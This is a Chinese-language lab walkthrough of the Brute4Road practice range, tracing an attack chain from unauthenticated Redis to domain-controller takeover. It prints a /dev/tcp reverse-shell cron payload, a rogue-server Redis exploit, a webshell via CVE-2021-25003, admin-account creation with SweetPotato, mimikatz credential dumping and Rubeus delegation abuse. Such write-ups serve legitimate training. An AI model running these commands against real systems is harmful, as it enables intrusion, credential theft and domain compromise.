从Redis未授权到域控:Brute4Road靶场全链路渗透实战解析
1. 靶场环境与攻击路径概览
Brute4Road靶场构建了一个典型的企业内网环境,包含五台关键主机:Redis服务器(172.22.2.7)、WordPress站点(172.22.2.18)、MSSQL数据库服务器(172.22.2.16)、未启用NLA的客户端(172.22.2.34)以及域控制器(172.22.2.3)。攻击链路设计为典型的"外网突破→内网横向→权限提升→域控接管"四阶段模型,每个阶段都设置了对应的flag作为里程碑。
关键路径节点:
- Redis未授权访问(Flag1)
- WordPress插件漏洞利用(Flag2)
- MSSQL提权与横向移动(Flag3)
- 约束委派攻击域控(Flag4)
实战提示:真实环境中建议使用虚拟专用网络进行隔离测试,避免直接暴露在公网
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始突破:Redis未授权访问利用
Redis的6379端口暴露是本次渗透的起点。当发现未授权访问漏洞时,优先考虑以下攻击方式:
Redis利用矩阵:
| 利用方式 | 适用版本 | 风险等级 | 典型载荷 |
|---|---|---|---|
| 写SSH公钥 | <5.0.5 | 中 | config set dir /root/.ssh/ |
| 主从复制RCE | >=4.x | 高 | Redis模块注入 |
| 计划任务 | 全版本 | 高 | */1 * * * * bash -i >& /dev/tcp/IP/PORT |
| 写Webshell | 全版本 | 低 | config set dir /var/www/html |
本例使用主从复制RCE技术,通过redis-rogue-server工具实现命令执行:
python复制python3 redis-rogue-server.py --rhost 172.22.2.7 --lhost [VPS_IP] --port 21002
提权技巧:
- 发现base64具有SUID权限时,可绕过权限读取文件:
bash复制base64 "/home/redis/flag/flag01" | base64 --decode
3. 内网渗透基础建设
获得初始立足点后,需要建立稳定的通信渠道和内网侦查能力。
3.1 代理通道搭建
代理工具对比:
| 工具 | 类型 | 优势 | 劣势 | 典型配置 |
|---|---|---|---|---|
| frp | 反向代理 | 穿透性强 | 依赖外网服务器 | nohup ./frpc -c frpc.ini & |
| gost | 正向代理 | 配置简单 | 需端口映射 | ./gost -L=:10001 & |
| Neo-reGeorg | HTTP隧道 | 隐蔽性高 | 速度较慢 | python neoreg.py -k password |
操作注意:代理规则需精确配置目标网段(如172.22.2.*),避免流量泄露
3.2 内网侦查技术
使用fscan进行综合扫描时,关键参数解析:
bash复制./fscan -h 172.22.2.0/24 -p 21,22,80,445,1433,3306 -o result.txt
扫描结果关键指标:
- 存活主机:ICMP响应检测
- 端口服务:指纹识别(如Microsoft SQL Server 2016)
- 漏洞标记:如
[+]前缀的漏洞提示 - 域信息:NetBIOS名称解析(如DC.xiaorang.lab)
4. 横向移动:从Web到数据库
WordPress站点的WPCargo插件漏洞(CVE-2021-25003)成为突破口。该漏洞允许通过barcode.php文件实现未授权写入:
漏洞利用链:
- 构造特殊PNG载荷写入webshell
- 通过蚁剑等工具建立交互式会话
- 从wp-config.php获取数据库凭证
- 查询数据库获取Flag2及潜在密码
数据库操作关键命令:
sql复制SELECT * FROM wp_users WHERE user_login='admin';
UPDATE wp_options SET option_value='恶意代码' WHERE option_name='siteurl';
5. 权限提升与域渗透
5.1 MSSQL到SYSTEM提权
使用SweetPotato进行服务账户提权:
powershell复制SweetPotato.exe -a "net user hacker Password123! /add"
SweetPotato.exe -a "net localgroup administrators hacker /add"
提权技术对比:
| 技术 | 适用场景 | 成功率 | 检测难度 |
|---|---|---|---|
| 甜土豆 | IIS应用池账户 | 高 | 中等 |
| PrintSpoofer | SeImpersonate特权 | 极高 | 低 |
| JuicyPotato | 旧版Windows | 中 | 高 |
5.2 域环境信息收集
BloodHound三件套使用流程:
- 在目标机执行SharpHound收集数据:
powershell复制SharpHound.exe -c All -d xiaorang.lab
- 将生成的zip文件导入Neo4j数据库
- 使用BloodHound可视化分析攻击路径
关键攻击边识别:
- HasSession:用户登录会话
- AdminTo:管理员权限关系
- AllowedToDelegate:约束委派配置
- Owns:对象所有权关系
6. 终极目标:域控接管
通过约束委派漏洞,利用Rubeus工具完成攻击:
票据传递攻击步骤:
- 获取服务账户NTLM哈希:
powershell复制mimikatz.exe "sekurlsa::logonpasswords" "exit"
- 申请TGT票据:
powershell复制Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:[NTLM_HASH] /domain:xiaorang.lab
- S4U2Self伪造管理员票据:
powershell复制Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /ptt /ticket:[BASE64_TICKET]
- 访问域控共享获取flag:
powershell复制type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt
在真实渗透测试项目中,每个阶段都应做好详细日志记录,包括:
- 执行的命令及返回结果
- 获取的凭证和敏感信息
- 网络拓扑和权限关系图
- 时间戳和操作人员标识
